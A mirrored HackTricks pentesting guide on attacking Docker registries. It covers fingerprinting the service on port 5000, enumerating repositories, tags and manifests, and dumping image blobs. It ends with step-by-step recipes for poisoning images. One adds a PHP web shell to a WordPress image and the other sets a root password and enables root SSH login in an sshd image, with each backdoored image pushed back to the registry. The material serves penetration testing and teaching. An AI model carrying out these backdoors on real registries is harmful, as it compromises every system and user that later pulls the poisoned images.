mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
311 lines
15 KiB
Markdown
311 lines
15 KiB
Markdown
# 5000 - Pentesting Docker Registry
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
## Basic Information
|
||
|
||
**Info from** [**here**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:\~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**.**
|
||
|
||
A **Docker registry** is a storage and distribution system for named Docker images. The same image might have multiple different versions, identified by their tags.\
|
||
A Docker registry is organized into **Docker repositories** , where a repository holds all the versions of a specific image. The registry allows Docker users to pull images locally, as well as push new images to the registry (given adequate access permissions when applicable).
|
||
|
||
By default, the Docker engine interacts with **DockerHub** , Docker’s public registry instance. However, it is possible to run on-premise the open-source Docker registry/distribution, as well as a commercially supported version called **Docker Trusted Registry** . There are other public registries available online.
|
||
|
||
To pull an image from an on-premises registry, you could run a command similar to:
|
||
|
||
```
|
||
docker pull my-registry:9000/foo/bar:2.1
|
||
```
|
||
|
||
where you pull the version of `foo/bar` image with tag `2.1` from our on-premise registry located at `my-registry` domain, port `9000` .\
|
||
If you used DockerHub instead, and 2.1 was also the latest version, you could run this command to pull the same image locally:
|
||
|
||
```
|
||
docker pull foo/bar
|
||
```
|
||
|
||
**Default port:** 5000
|
||
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
5000/tcp open http Docker Registry (API: 2.0)
|
||
```
|
||
|
||
## Discovering
|
||
|
||
The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it.\
|
||
Some fingerprints:
|
||
|
||
* If you access `/` nothing is returned in the response
|
||
* If you access `/v2/` then `{}` is returned
|
||
* If you access `/v2/_catalog` you may obtain:
|
||
* `{"repositories":["alpine","ubuntu"]}`
|
||
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||
|
||
## Enumeration
|
||
|
||
### HTTP/HTTPS
|
||
|
||
Docker registry may be configured to use **HTTP** or **HTTPS**. So the first thing you may need to do is **find which one** is being configured:
|
||
|
||
```bash
|
||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||
#If HTTPS
|
||
Warning: Binary output can mess up your terminal. Use "--output -" to tell
|
||
Warning: curl to output it to your terminal anyway, or consider "--output
|
||
Warning: <FILE>" to save to a file.
|
||
|
||
#If HTTP
|
||
{"repositories":["alpine","ubuntu"]}
|
||
```
|
||
|
||
### Authentication
|
||
|
||
Docker registry may also be configured to require **authentication**:
|
||
|
||
```bash
|
||
curl -k https://192.25.197.3:5000/v2/_catalog
|
||
#If Authentication required
|
||
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
|
||
#If no authentication required
|
||
{"repositories":["alpine","ubuntu"]}
|
||
```
|
||
|
||
If the Docker Registry is requiring authentication you can[ **try to brute force it using this**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
||
**If you find valid credentials you will need to use them** to enumerate the registry, in `curl` you can use them like this:
|
||
|
||
```bash
|
||
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
||
```
|
||
|
||
### Enumeration using DockerRegistryGrabber
|
||
|
||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is a python tool to enumerate / dump docker degistry (without or with basic authentication)
|
||
|
||
```bash
|
||
python3 DockerGraber.py http://127.0.0.1 --list
|
||
|
||
[+] my-ubuntu
|
||
[+] my-ubuntu2
|
||
|
||
python3 DockerGraber.py http://127.0.0.1 --dump_all
|
||
|
||
[+] my-ubuntu
|
||
[+] my-ubuntu2
|
||
[+] blobSum found 5
|
||
[+] Dumping my-ubuntu
|
||
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
||
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||
[+] blobSum found 5
|
||
[+] Dumping my-ubuntu2
|
||
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
||
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||
|
||
|
||
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
|
||
|
||
[+] blobSum found 5
|
||
[+] Dumping my-ubuntu
|
||
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
||
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||
```
|
||
|
||
### Enumeration using curl
|
||
|
||
Once you **obtained access to the docker registry** here are some commands you can use to enumerate it:
|
||
|
||
```bash
|
||
#List repositories
|
||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||
{"repositories":["alpine","ubuntu"]}
|
||
|
||
#Get tags of a repository
|
||
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
|
||
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
|
||
|
||
#Get manifests
|
||
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
|
||
{
|
||
"schemaVersion": 1,
|
||
"name": "ubuntu",
|
||
"tag": "latest",
|
||
"architecture": "amd64",
|
||
"fsLayers": [
|
||
{
|
||
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
|
||
},
|
||
{
|
||
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
|
||
},
|
||
{
|
||
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
|
||
}
|
||
],
|
||
"history": [
|
||
{
|
||
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
|
||
},
|
||
{
|
||
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
|
||
},
|
||
{
|
||
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
|
||
}
|
||
],
|
||
"signatures": [
|
||
{
|
||
"header": {
|
||
"jwk": {
|
||
"crv": "P-256",
|
||
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
|
||
"kty": "EC",
|
||
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
|
||
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
|
||
},
|
||
"alg": "ES256"
|
||
},
|
||
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
|
||
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
|
||
}
|
||
]
|
||
}
|
||
|
||
#Download one of the previously listed blobs
|
||
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
|
||
|
||
#Inspect the insides of each blob
|
||
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
||
```
|
||
|
||
{% hint style="warning" %}
|
||
Note that when you download and decompress the blobs files and folders will appear in the current directory. **If you download all the blobs and decompress them in the same folder they will overwrite values from the previously decompressed blobs**, so be careful. It may be interesting to decompress each blob inside a different folder to inspect the exact content of each blob.
|
||
{% endhint %}
|
||
|
||
### Enumeration using docker
|
||
|
||
```bash
|
||
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
||
docker pull 10.10.10.10:5000/ubuntu
|
||
|
||
#Check the commands used to create the layers of the image
|
||
docker history 10.10.10.10:5000/ubuntu
|
||
#IMAGE CREATED CREATED BY SIZE COMMENT
|
||
#ed05bef01522 2 years ago ./run.sh 46.8MB
|
||
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
|
||
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
|
||
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
|
||
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
|
||
|
||
#Run and get a shell
|
||
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
||
docker ps #Using a different shell
|
||
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||
```
|
||
|
||
### Backdooring WordPress image
|
||
|
||
In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it.\
|
||
**Create** the **backdoor**:
|
||
|
||
{% code title="shell.php" %}
|
||
```bash
|
||
<?php echo shell_exec($_GET["cmd"]); ?>
|
||
```
|
||
{% endcode %}
|
||
|
||
Create a **Dockerfile**:
|
||
|
||
{% code title="Dockerfile" %}
|
||
```bash
|
||
FROM 10.10.10.10:5000/wordpress
|
||
COPY shell.php /app/
|
||
RUN chmod 777 /app/shell.php
|
||
```
|
||
{% endcode %}
|
||
|
||
**Create** the new image, **check** it's created, and **push** it:
|
||
|
||
```bash
|
||
docker build -t 10.10.10.10:5000/wordpress .
|
||
#Create
|
||
docker images
|
||
docker push registry:5000/wordpress #Push it
|
||
```
|
||
|
||
### Backdooring SSH server image
|
||
|
||
Suppose that you found a Docker Registry with a SSH image and you want to backdoor it.\
|
||
**Download** the image and **run** it:
|
||
|
||
```bash
|
||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
||
```
|
||
|
||
Extract the `sshd_config` file from the SSH image:
|
||
|
||
```bash
|
||
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
||
```
|
||
|
||
And modify it to set: `PermitRootLogin yes`
|
||
|
||
Create a **Dockerfile** like the following one:
|
||
|
||
{% tabs %}
|
||
{% tab title="Dockerfile" %}
|
||
```bash
|
||
FROM 10.10.10.10:5000/sshd-docker-cli
|
||
COPY sshd_config /etc/ssh/
|
||
RUN echo root:password | chpasswd
|
||
```
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
**Create** the new image, **check** it's created, and **push** it:
|
||
|
||
```bash
|
||
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
||
#Create
|
||
docker images
|
||
docker push registry:5000/sshd-docker-cli #Push it
|
||
```
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|